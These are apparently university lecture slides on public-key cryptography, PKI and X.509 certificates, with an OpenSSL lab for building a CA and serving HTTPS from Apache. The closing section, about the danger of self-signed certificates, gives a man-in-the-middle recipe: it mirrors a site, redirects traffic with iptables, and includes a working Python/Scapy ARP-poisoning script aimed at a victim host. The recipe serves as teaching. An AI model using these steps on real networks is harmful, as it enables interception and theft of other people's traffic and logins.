PRELIMINARIES

Key Share

- Goal:
  - Alice and Bob want to securely share a key
- Security against eavesdropping?

- Can this be done using only generic crypto?
  - No need for always on line TTP!

Symmetric/Asymmetric cryptography



symmetric

The encryption and decryption keys are the same or can be directly derived from each other. Both keys are kept secret.
Examples: 3DES, AES, Blowfish, RC4

asymmetric

Encryption/decryption keys are different and it is computationally unfeasible to derive them from each other.
The encryption key be distributed, the other has to be kept secret.
For this reason it is also called Public Key cryptography.
Examples: RSA, Diffie-Hellman, ElGamal

RSA: key generation

1. Extract two "big" prime numbers ***p*** e ***q*** **(random, secret)**
2. Compute the RSA modulus: $N = p \times q$
3. Compute $\Phi(N) = (p - 1)(q - 1)$ (Eulero's function)
4. Randomly generates the the number ***e:*** $1 < e < \Phi(N)$ relatively prime to $\Phi(N)$
5. Compute the number ***d:*** $e \times d = 1 \bmod \Phi(N)$, or in other words ***e*** is the inverse of ***d*** in the group $\Phi(N)$

PUBLIC KEY: *(N, e)*
PRIVATE KEY: *(N, d)*
Must be kept secret: ***p***, ***q***, $\Phi(N)$, ***d***

Note:

1) *to derive d from e an attacker should compute* e^{-1} *in* $\Phi(N)$

2) $\Phi(N)$ *is the number of integers less than or equal to n that are relatively prime to N*

2.1) *to compute* $\Phi(N)$ *an attacker should know p and q (otherwise it's unfeasible)*

3) *it is computationally unfeasible to factorize the product of two "big enough" prime numbers*

RSA tranformations

RSA transformation is simply a modular exponentiation with respectively the public private key

ENCRYPTION **DECRYPTION**

$$X \Rightarrow X^{e} \bmod N \Rightarrow Y \Rightarrow Y^{d} \bmod N \Rightarrow X$$

ciphertext

SIGNATURE **VERIFICATION**

$$X \Rightarrow X^{d} \bmod N \Rightarrow Y \Rightarrow Y^{e} \bmod N \Rightarrow X$$

signed text

Public Key cryptography: encryption/decryption

Alice

Alice wants to send a message *M* encrypted for Bob

Bob

Gets Bob's public key B_{pub}
(Somehow) verifies B_{pub} authenticity
Encrypts *M* with B_{pub} → $C = F(B_{pub}, M)$

Alice sends *C* to Bob

Decrypts C with Bob's private key B_{priv}
$M = F(B_{priv}, C)$

Note:

1) Only Bob can decrypt *C*
2) Nobody "can" derive B_{priv} from B_{pub}
3) This procedure can be inverted to implement a digital signature

RSA Key Transport

Alice and Bob want to share a common secret key for secure communication

Alice

Bob

choose random
$K \in \{0,1\}^s$



AT THE END THEY SHARE K.
IS IT REALLY SECURE?

Man in the middle

Cannot verify who is the owner of PK!

Alice **Bonny** **Bob**

choose random
$K \in \{0,1\}^s$



Diffie-Hellman Key exchange alogorithm

Public: α, p

Secret: x, y

GOAL: exchange a common secret that only Alice and Bob can derive

$\alpha^x \bmod p$

$\alpha^y \bmod p$

Random ***x***

Random ***y***



COMMON KEY



$K = (\alpha^y)^x \bmod p$

$K = (\alpha^x)^y \bmod p$

Note:

1) *Common secret number exchanged with an asymmetric algorithm*

2) *to compute K from (α^x mod p) and (α^y mod p) an attacker should be able to compute the discrete logarithm $x = \log_\alpha(\alpha^x \bmod p)$ and $y = \log_\alpha(\alpha^y \bmod p)$…*

3) *…which is computationally unfeasible for an attacker with "limited computational resources"*

Insecure against man in the middle

Again, how can Alice authenticate?

Alice

choose random
$x \in \{0,1\}^s$

Bonny

Bob

choose random
$y \in \{0,1\}^s$

$(\alpha^x) \bmod p$

$(\alpha^z) \bmod p$

$(\alpha^z) \bmod p$

$(\alpha^y) \bmod p$

$K_1 = (\alpha^{xz}) \bmod p$

$K_2 = (\alpha^{yz}) \bmod p$

We need a cryptographic tool for authenticate the parties

Alice

Bob

I'm Alice

Prove me. Show me you (authentic) ID

OK! Here it is!

NOW they can transfer/agree on a shared key

What do we need?

1. A set of mechanisms, format and infrastructure to “manage digital identities”
   - DIGITAL CERTIFICATE and PKIs

2. A crypto tool to authenticate data (how is the ID authentic?)
   - DIGITAL SIGNATURE

Symmetric Data Authentication



Digital Signature with Public Key cryptography



Digital Signature using Hash



Hash Functions

Hash functions allows to:

- Obtain a fixed size message from arbitrary length message -> Digest
- Such digest is uniquely tied to the starting message! (No collisions!)



(Arbitrary length)

(Fixed length, es. 128-,160-, 256-bit)

Robustness, i.e. hard to find:

X such that ***H*(*X*) = *Z*** (***Z*** given)
Y* ≠ *X such that ***H*(*Y*) = *H*(*X*)** (***X*** given)
X* e *Y such that ***H*(*Y*) = *H*(*X*)**

Hash: how it works?

- Hashes are Pseudo-Random Functions





Given a message:
- Uniform probability **1/n** of obtain **n**

⇨

Each digest is on the average associated to **m/n** messages

Hash: example

- Given a message M
  - XOR between each characters*
  - (ASCII encoding – 8 bit each char)

	m	a	r	c	o
decimal	109	97	114	99	111
binary	01101101	01100001	01110010	01100011	01101111

HASH(“marco”) =
01101101 ⊕ 01100001 ⊕ 01110010 ⊕ 01100011 ⊕ 01101111

HASH(“marco”) = $01110010_2 = 114_{10}$

(*) Such hash function is really used:
- non-cryptographic hash (e.g. hash-table)!

Public Key cryptography: digital signature

Alice

Alice wants to sign a message *M* so that Bob can verify its authenticity

Bob

Gets his own private key A_{priv}
Computes a hash of the message *H(M)*
Signs H(M) with A_{priv} → $S = F(A_{priv}, H(M))$

Alice sends *(H(M), S)* to Bob

Computes a hash of the message *H(M)*
Verify the signature by verifying the following:
$H(M) = F(A_{pub,} H(M))$?

Note:

1) Only Alice can sign *M*
2) Nobody can modify M and compute a valid signature S without knowing A_{priv}
3) Alice can include a nonce (given by Bob) in the signature to avoid a third entity to reuse the same signature for the same message *M*

Digital Signature in practice

- To use digital signatures in practice we need to solve:
  - Public Keys Owner Certification
  - Lost or Broken Keys Management
  - Debates

- TTPs can help to reach such goals…
- In particular an TTP infrastructure named as PKI

Keys Certification



Temporal Mark



Trusted Third Party

- PUBLIC KEYS CERTIFICATION
  - TTP emits certificates to authenticate Public Keys
  - TTP revokes compromised certificates
- TIME MARK
  - TTP appends a Time Mark to certificates on signing it
- NOTARY
  - TTP backups sensible documents used to solve debates
- DEBATES
  - TTP has in charge to resolve debates

- Such roles are intended to be accomplished by one or more TTPs

PKI and Certificates

How does Alice obtain Bob's public key?

- Everything's perfect, you believe that nobody can break the public key algorithms if the numbers are "big enough"
- How are the public keys distributed?
  - In a network with n nodes, n(n-1)/2 keys have to be distributed!
  - What if my private key is lost or stolen? Should I need to notify all the remaining (n-1) nodes to revoke my public key?
  - Solution: centralized or opportunistic distribution! (obvious, the public key doesn't have to be kept secret!)
- OK, the scalability issue is solved, but how can I be sure that a public key is authentic? How can Alice get the public key of Bob and be sure that it's really his?
- SOLUTION:
  - A trusted third party that issues some kind of proof that a public key is really related to a given identity

Public Key Certificate

- A public key certificate is a data structure that binds a public key (and therefor the related private key) to the the identy of the legitimate owner → $CERT_{ID}$:{ID, Pub_{ID}}
- The binding between {ID, Pub_{ID}} is granted by a trusted certification authority that signs $CERT_{ID}$
- Provided that we have the CA's public key, we can verify the CA signature and therefor verify the public key authenticity

EXAMPLE:

CA issues a public certificate for bob $CERT_{bob}$

$CERT_{bob}$ contains:

1) Pub_{bob}
2) CA identity CA_{id}
3) CA signature of $CERT_{bob}$

Once I have the authentic Pub_{bob}, I just need to verify that the party I'm communicating with is actually Bob (i.e.: it has the private key)

To do so, I perform a simple challenge/response mechanism. I extract a nonce and challenge Bob to sign this random number. Since the public key is authentic, and Bob couldn't know the random number, only the real Bob can sign the nonce correctly (and I can verify it)



- I trust CA and I have CA's public key
- Verify CA signature $CERT_{bob}$ → OK!
- Pub_{bob} is authentic
- I can encrypt a message for Bob

Challenge/Response concept

alice

CERT$_{bob}$

OK, the certificate is authentic…
Let's see if you have the priv key
Sign this RAND!

RAND$_{alice}$

bob

OK noprob!
(RAND$_{alice}$*)*^{priv}

Signed(RAND$_{alice}$)

OK, I have Bob's public key and RAND$_{alice,}$
I can verify Bob's signature

Public Key Infrastructure

- A PKI consists of the protocols, the policies and the cryptographic mechanism used to manage the management of public key certificate
  - Creation, distribution, revocation, etc…
- A PKI requires the definition of:
  - Certificate format
  - Relationship among CAs
  - Mechanisms and policies for issuing and revoking certificate
  - Storage services
- Typical certificate format: X.509

High Level Certificate Format: X.509



- Derived by the standars ITU-T X.500, designed to specify directory services
  - Directory X.500 never implemented in real systems
  - More specific services (like DNS) or more simply mechanisms (like LDAP) replaced them
  - X.509 specifies all reference parameters to offer services of authentication in X. 500 directory services
  - Format: <object=property>
  - ASN.1 encoding
- For educational purpose informations are grouped by functionality:
  - Slight different order and grouping in real X.509

See http://tools.ietf.org/html/rfc5280 for the detailed X509v3 certificate format

High Level Certificate Format: X.509



- X.509 version 1, 2 o 3
- Validity period of the certificate
  - Could be dangerous to use the certificate when it results to be expired
- Serial Number
  - Identify in a unique way the certificate relased by a CA (<CA,serial-n> pair must be uniquelly identified)
- Other extensions (optional and presented starting from version 3)
  - e.g, fields to limit the certified public key operational perimeter: can be used to sign a message or encrypt a message or to feed a CA, etc…

High Level Certificate Format: X.509



- Identities are expressed in the same X.509 format
- Examples:
  - Issuer: C=IT, ST=RM, L=Rome, O=UniRm2, OU=DIE, CN=Test CA
  - Subject: C=IT, ST=RM, L=Rome, O=UniRm2, OU=DIE, CN=netgroup.uniroma2.it
- CN (Common Name)
  - Primary Identificator
  - Issuer field: referred to CA
  - Subject field: referred to the entity to which the certificate, i.e. the certified public key, is issued to

High Level Certificate Format: X.509



- The certificate contains the public key $PK\downarrow X$ of the entity that will presents it to customers
- The public key is specified also with:
  - Algorithm to be used
  - RSA
    - Modulus N
    - Field length in bit
    - Public exponent
  - DH
    - Public parameters
    - It is not the only mode of operation!

High Level Certificate Format: X.509



- All data contained in the certificate are protected by the digital signature impressed by the CA
  - CA Authenticity: $PK{\downarrow}CA$ a-priori trusted and certified by a pre-installed (and trusted) certificate
  - Data Authenticity: digital signature encrypted using a private key SK related to a certified public key $PK{\downarrow}CA$
  - Data Integrity: unforgeability of the impressed digital signature
- In addition, certificate contains
  - Informations and algorithms specification about the digital signature generation
  - Hash: MD5, SHA-1, SHA-256,…
  - Algorithm: RSA, DH, …
  - The signature!

X.509 certificate: real example

Version: 3 (0x2)
Serial Number:
0c:6f:c8:59:57:fa:1f:5f:c9:67:2c:9f:e6:5c:db:e6
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance CA-3
Validity
Not Before: Nov 15 00:00:00 2010 GMT
Not After : Dec 2 23:59:59 2013 GMT
Subject: C=US, ST=California, L=Palo Alto, O=Facebook, Inc., CN=www.facebook.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:c1:df:7d:63:41:bd:c4:e4:fa:65:33:13:78:d5: **(... cut…)** 0b:38:d6:82:00:23:dd:63:75
Exponent: 65537 (0x10001)

X509v3 extensions: **(cut)**
X509v3 Subject Key Identifier:
AA:57:4A:33:B6:EC:D5:6E:81:13:A6:36:5E:F4:7B:43:58:F3:8F:44
X509v3 Subject Alternative Name:
DNS:www.facebook.com, DNS:facebook.com
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Extended Key Usage:
TLS Web Server Authentication, TLS Web Client Authentication

Signature Algorithm: sha1WithRSAEncryption
25:33:5e:90:3f:ad:02:fe:de:92:d2:9e:12:f7:ef:16:6a:8d: **(... cut…)** 8e:6f:a9:c3

Certificate Signing Request

- A certificate signing request (also CSR or certification request) is a message sent from an applicant to a certificate authority in order to apply for a digital identity certificate
- The most common format for CSRs is the PKCS#10 specification
- Operations:
  - the applicant first generates a key pair, keeping the private key secret
  - the applicant generates a CSR contains information identifying herself (X.509 subject field), optional X.509 extensions (e.g. key usage: RSA authentication for web servers) and the public key chosen by the applicant
  - The CSR may be accompanied by other credentials or proofs of identity required by the certificate authority, and the certificate authority may contact the applicant for further information

X509v3 extensions

- An X.509 v3 certificate contains an extension field that permits any number of additional fields to be added to the certificate

- Certificate extensions provide a way of adding information such as alternative subject names and usage restrictions to certificates

Some standard extensions

- **Authority Key Identifier**
  - The authority key identifier extension provides a means of identifying the public key corresponding to the private key used to sign a certificate
- **Subject Key Identifier**
  - The subject key identifier extension provides a means of identifying certificates that contain a particular public key
- **Key Usage**
  - The key usage extension defines the purpose (e.g., encipherment, signature, certificate signing) of the key contained in the certificate.
  - digitalSignature, nonRepudiation, contentCommitment, keyEncipherment , dataEncipherment, keyAgreement, keyCertSign, cRLSign, encipherOnly, decipherOnly
- **Subject Alternative Name**
  - The subject alternative name extension allows identities to be bound to the subject of the certificate. These identities may be included in addition to or in place of the identity in the subject field of the certificate
- **Extended Key Usage**
  - This extension indicates one or more purposes for which the certified public key may be used, in addition to or in place of the basic purposes indicated in the key usage extension.
  - TLS WWW server authentication, TLS WWW client authentication, Signing of downloadable executable code, Email protection, Timestamping

See http://tools.ietf.org/html/rfc5280 for the complete list

Certificate Revocation List

- Various circumstances may cause a certificate to become invalid prior to the expiration of the validity period
  - change of name, change of association between subject and CA (e.g., an employee terminates employment with an organization), and compromise or suspected compromise of the corresponding private key.
- Under such circumstances, the CA needs to revoke the certificate
- CA periodically issuing a signed data structure called a certificate revocation list (CRL)
- A CRL is a time-stamped list identifying revoked certificates that is signed by a CA or CRL issuer and made freely available in a public repository.
- When a certificate-using system uses a certificate that system not only checks the certificate signature and validity but also acquires a suitably recent CRL and checks that the certificate serial number is not on that CRL.
- Advantage: CRLs may be distributed by exactly the same means as certificates themselves, namely, via untrusted servers and untrusted communications.
- One limitation: time granularity of revocation is limited to the CRL issue period.

CRL example

```
Certificate Revocation List (CRL):
        Version 1 (0x0)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: /C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=Terms of use at https://www.verisign.com/rpa (c)04/CN=VeriSign
Class 3 Code Signing 2004 CA
        Last Update: Apr 16 21:00:01 2013 GMT
        Next Update: Apr 26 21:00:01 2013 GMT
Revoked Certificates:
    Serial Number: 0100E327CDC8D80E5F8C3D9D74D67BD8
        Revocation Date: Apr 11 09:53:52 2006 GMT
    Serial Number: 0100FCC2A0CD5DD0C6D36EB564C55E93
        Revocation Date: Dec 10 18:07:34 2004 GMT
    Serial Number: 010642D833388AE94906A89BDA5A135A
        Revocation Date: May 22 20:25:03 2006 GMT
    Serial Number: 0112135685183DDF2698DD70F54B5FFE
        Revocation Date: Dec 23 17:35:14 2004 GMT
    Serial Number: 012466647BD00FA2EBC4ACDB125A4B49
        Revocation Date: Jul 27 18:21:05 2005 GMT
    Serial Number: 01270B1F50C703546BFE14AB93692B9B
        Revocation Date: Nov 14 11:47:04 2008 GMT
    Serial Number: 012A6DC9A9D8E1F01BE424EE65B76977
        Revocation Date: Jan 13 16:28:26 2005 GMT
    Serial Number: 0134D37F26F1F593EF97280D56F56244
        Revocation Date: Jul 17 18:43:18 2006 GMT
    Serial Number: 013EC6686061D86E5A4D93564950B1C7
        Revocation Date: Oct 27 22:28:50 2006 GMT
    Serial Number: 013FA1A72104BDEF8B945AAD0625DEAF
[CUT]
    Signature Algorithm: sha1WithRSAEncryption
        66:4d:80:b8:fc:4b:75:22:d1:6e:79:26:c0:d3:39:29:83:7a:
        6a:bc:36:50:6c:1b:dc:79:f0:f3:a9:ec:16:86:6e:04:0d:34:
        07:5e:06:59:6f:1d:b3:c2:b7:b4:66:ee:0c:23:3b:2e:00:0c:
        8c:c6:2f:9e:67:4f:63:d2:8e:e3:e4:9b:51:7e:ca:55:9c:f2:
        10:a2:07:dc:fd:c8:8c:f1:13:79:45:77:74:83:07:b5:c5:76:
        54:fb:4f:19:79:73:25:5d:6d:ac:b4:3b:c3:53:d3:3f:a9:93:
        b5:43:ca:d4:4f:96:86:78:95:36:7e:e5:06:fd:6d:d2:7d:c1:
        68:6f:82:24:88:91:8b:10:bd:09:7b:a6:f9:73:22:01:ce:ad:
        0a:90:63:13
[CUT]
```

Let’s build our own certification authority

OPENSSL X509 TUTORIAL

OpenSSL

- OpenSSL is a cryptography toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) network protocols and related cryptography standards required by them
  - www.openssl.org
- Main component
  - Cryptography library: `libcrypto`
  - SSL/TLS protocol library: `libssl`
  - `openssl` program
- The openssl program is a command line tool for using the various cryptography functions of OpenSSL's crypto library from the shell. It can be used for
  - Creation and management of private keys, public keys and parameters
  - Public key cryptographic operations
  - Creation of X.509 certificates, CSRs and CRLs
  - Calculation of Message Digests
  - Encryption and Decryption with Ciphers
  - SSL/TLS Client and Server Tests
  - Handling of S/MIME signed or encrypted mail
  - Time Stamp requests, generation and verification

Create a CA and sign certificate request with openssl

- workflow
  1. Generate the RSA key pair for our CA
  2. Create a self-signed certificate for our CA
  3. Generate the RSA key pair for the web server
  4. Generate a CSR for the web server
  5. Sign the CSR with the CA private key

Create the CA keys

Prepare our CA folder and the serial number file

```
marlon@marlon-vmxbn:~/Labs$ mkdir CA
marlon@marlon-vmxbn:~/Labs$ cd CA/
marlon@marlon-vmxbn:~/Labs/cgrlCA$ echo -e "01\n" > serial
```

Create the CA key pair

```
marlon@marlon-vmxbn:~/Labs/cgrlCA$ openssl genrsa -out ca.key 2048
Generating RSA private key, 2048 bit long modulus
.................................+++
........+++
e is 65537 (0x10001)
```

Note: OpenSSL use the CRT-RSA [1] variant, as defined in the standard PKCS1 [2]. This variant uses the Chinese Remainder Theorem to speed up computation.
References:
[1] http://www.di-mgt.com.au/crt_rsa.html
[2] http://www.ietf.org/rfc/rfc3447.txt

Generate the CA self signed certificate

This command will create a self signed certificate, i.e. a certificate where the issuer and the subject are the same entities

```
marlon@marlon-vmxbn:~/Labs/$ openssl req -new -x509 -days 3650 -key
ca.key -out ca.crt
You are about to be asked to enter information that will be
incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name
or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:IT
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Rome
Organization Name (eg, company) [Internet Widgits Pty Ltd]:cgrlCA
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:cgrl-cert-authority
Email Address []:ca@cgrl.edu
```

Let’s take a look at our first certificate

```
marlon@marlon-vmxbn:~/Labs/CA$ openssl x509 -in ca.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            b6:ef:85:6f:71:e5:68:bb
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=IT, ST=Some-State, L=Rome, O=cgrlCA, CN=cgrl-cert-authority
                                                        emailAddress=ca@cgrl.edu
        Validity
            Not Before: May 24 10:44:00 2012 GMT
            Not After : May 22 10:44:00 2022 GMT
        Subject: C=IT, ST=Some-State, L=Rome, O=cgrlCA, CN=cgrl-cert-authority/
                                                        emailAddress=ca@cgrl.edu
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a1:2c:f1:bf:a2:af:4a:3a:6e:f7:e7:13:b5:42:
                    32:4c:2c:d2:3b:0f:09:68:d6:67:6e:af:05:23:a8:
                    59:eb:ef:85:19:7c:75:18:
```

Cut!

Let's make the web server keys and CSR

Create the subject's (i.e. our web server) key pair

```
marlon@marlon-vmxbn:~/Labs/CA$ openssl genrsa -out server.key 1024
Generating RSA private key, 1024 bit long modulus
.++++++
.....................................................................++++++
e is 65537 (0x10001)
```

Create the subject's CSR. This certificate will be signed with the CA's private key

```
marlon@marlon-vmxbn:~/Labs/CA$ openssl req -new -key server.key -out
server.csr

Country Name (2 letter code) [AU]:IT
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Rome
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:testssl.cgrl.edu
Email Address []:testssl@cgrl.edu
```



This has to be
The web site FQDN

CSR signing

This command will sign the CSR with the CA's private key (possible also -set_serial)

```
marlon@marlon-vmxbn:~/Labs/CA$ openssl x509 -req -in server.csr -out
server.crt -sha1 -CA ca.crt -CAkey ca.key -CAserial serial -days 3650
Signature ok
subject=/C=IT/ST=Some-State/L=Rome/O=Internet Widgits Pty Ltd/
CN=testssl.cgrl.edu/emailAddress=testssl@cgrl.edu
Getting CA Private Key
```

Dump the signed certificate

```
marlon@marlon-vmxbn:~/Labs/CA$ openssl x509 -in server.crt -text -noout
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 3 (0x3)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=IT, ST=Some-State, L=Rome, O=cgrlCA, CN=cgrl-cert-authority/
                                                    emailAddress=ca@cgrl.edu
        Validity
            Not Before: May 24 10:50:25 2012 GMT
            Not After : May 22 10:50:25 2022 GMT
        Subject: C=IT, ST=Some-State, L=Rome, O=Internet Widgits Pty Ltd,
                              CN=testssl.cgrl.edu/emailAddress=testssl@cgrl.edu
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
```

Adding X509v3 extensions

When you sign a certificate you set the following two options:

```
-extfile [file_name]
-extensions [section_name]
```

In opnessl configuration file (in /etc/ssl/openssl.conf) we already have 4 standard section defined:

```
usr_cert, v3_req, v3_ca, crl_ext
```

In addition, you can define extra sections

```
[ section_name ]
Option1=valye
OptionN=value
```

See https://www.openssl.org/docs/apps/x509v3_config.html for extensions

```
marlon@marlon-vmxbn:~/Labs/CA$ openssl x509 -req -in server.csr -out
server.crt -sha1 -CA ca.crt -CAkey ca.key -CAserial serial -days 3650 -
extfile /etc/ssl/openssl.conf -extensions usr_cert
Signature ok
subject=/C=IT/ST=Some-State/L=Rome/O=Internet Widgits Pty Ltd/
CN=testssl.cgrl.edu/emailAddress=testssl@cgrl.edu
Getting CA Private Key
```

How to protect our web server

HTTPS SERVER WITH APACHE2

Let's configure Apache2

Set-up everything properly before enabling the new site

- Configuration file testssl.cgrl.edu goes into /etc/apache2/site-available
- Keys and Certificate in the proper directory (see the conf file)

Run the following commands:

```
server# a2ensite testssl.cgrl.edu

server# a2enmod ssl

server# /etc/init.d/apache2 start
```

Enable our HTTPS web site

Enable Apache2 SSL module

Start Apache2
(or "restart" if already up)

testssl.cgrl.edu config file

```
IfModule mod_ssl.c>
<VirtualHost _default_:443>
DocumentRoot "/var/www/testssl"

ServerName testssl.cgrl.edu:443
ServerAdmin testssl@cgrl.edu

SSLEngine On
SSLCipherSuite HIGH:MEDIUM
SSLProtocol all -SSLv2
SSLCertificateFile /etc/apache2/ssl/server.crt
SSLCertificateKeyFile /etc/apache2/ssl/server.key
SSLCertificateChainFile /etc/apache2/ssl/ca.crt
SSLCACertificateFile /etc/apache2/ssl/ca.crt

<Directory "/var/www/testssl">
        Options Indexes
        AllowOverride None
        Allow from from all
        Order allow,den
</Directory>
</VirtualHost>
</IfModule>
```

Connect to the server



Note: append the following line to the file `/etc/hosts` on the host machine

```
testssl.cgrl.edu $IP_ADDR
```

TLSv1 trace with our certificate



HTTP plaintext auth over SSL

- Safest way to authenticate via HTTP, better then digest auth
- You first create a secure channel with the authenticated web server
- You send authentication credential in clear (from the HTTP point of view) but inside the secure (encrypted/authenticated) channel
- The test website already have the following password protected directory

```
<Directory "/var/www/testssl/secret">
    AuthType Basic
    AuthName "Username and Password Required"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
</Directory>
```

To try it you need to grant access to a new user, for example: uid “007” password “jamesbond”

```
server# htpasswd -c -m /etc/httpd/.htpasswd 007
New password:
```

Client authentication via X509 certificate

- The client may authenticate itself with a X509 certificate
- To do so we need to
  1. Configure the web server to force SSL client authentication

```
<Directory "/var/www/testssl/cert-required">
    SSLVerifyClient require
    SSLVerifyDepth 1
</Directory>
```

  2. Create a client certificate and configure the web browser to use it (exported it in PCKS 12 format. NOTE: to use it with firefox you need to enable SSL renegotiation. With (my) chrome (v. 15.0.874.106 (Developer Build 107270 Linux) Ubuntu 11.10) it's already OK)

```
server# openssl genrsa -out client.key 1024
server# openssl req -new -key client.key -out client.csr
server# openssl x509 -req -in client.csr -out client.crt -sha1 -CA
ca.crt -CAkey ca.key -CAserial serial -days 3650
server# openssl pkcs12 -export -in client.crt -inkey client.key -
out client.p12
```

WHY SELF SIGNED CERTIFICATES ARE DANGEROUS

How to impersonificate a SSL protected site with self signed certificate

- Mirror the target site:
  - `wget --mirror --convert-links --html-extension --no-parent -l 1 --no-check-certificate $TARGET_WEB_SITE`
- Create a similar self signed certificate
- Configure Apache
  - See previous slides
- ARP poisoning: make the victim believe you are the router
  - See next slide
- Enable forwarding and redirect the target site's IP address to localhost
  - `echo 1 > /proc/sys/net/ipv4/ip_forward`
  - `iptables -t nat -A PREROUTING -d $TARGET - p tcp --dport 443 –j REDIRECT`

Simple ARP poisoning with PYTHON-SCAPY

```
#! /usr/bin/env python

import sys
from scapy.all import *

ips="10.0.0.1" #spoofed address
ipd="10.0.0.101” #victim’s address
hs="00:00:00:00:00:FF" #my mac address
hd="00:00:00:00:00:AA" #victim’s mac address

p=Ether(src=hs,dst=hd)/ARP
(op=2,psrc=ips,pdst=ipd,hwdst=hd,hwsrc=hs)

if p:
    sendp(p,loop=1,inter=1)
```